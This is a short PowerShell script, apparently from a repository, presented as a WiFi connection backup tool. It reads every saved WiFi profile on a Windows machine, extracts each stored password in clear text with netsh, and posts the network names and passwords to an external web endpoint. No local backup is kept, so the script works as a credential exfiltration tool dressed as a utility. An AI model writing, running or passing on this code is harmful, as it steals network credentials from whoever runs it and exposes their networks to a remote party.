wificonnectionsbackup/wificonnectionbackup_v3.ps1

33 lines
1.1 KiB
PowerShell

# Define the API endpoint
$apiEndpoint = "https://db.cybertek.systems/wifi_credentials/add"
# Define headers
$headers = @{
"Content-Type" = "application/json"
}
# Get WiFi profiles
$wifiProfiles = netsh wlan show profiles | Select-String "All User Profile" | ForEach-Object { ($_ -split ":")[1].Trim() }
foreach ($profile in $wifiProfiles) {
# Extract PSK if available
$profileData = netsh wlan show profile name="$profile" key=clear | Select-String "Key Content" | ForEach-Object { ($_ -split ":")[1].Trim() }
# Only process profiles with a PSK
if ($profileData) {
# Create JSON payload
$payload = @{
ssid = $profile
preshared_key = $profileData
}
# Send data to the API
try {
$response = Invoke-WebRequest -Uri $apiEndpoint -Method Post -Body ($payload | ConvertTo-Json -Depth 10) -Headers $headers
Write-Output "Success: SSID '$profile' added. Message: $($response.Content)"
} catch {
Write-Output "Error: Could not add SSID '$profile'. Error: $($_.Exception.Message)"
}
}
}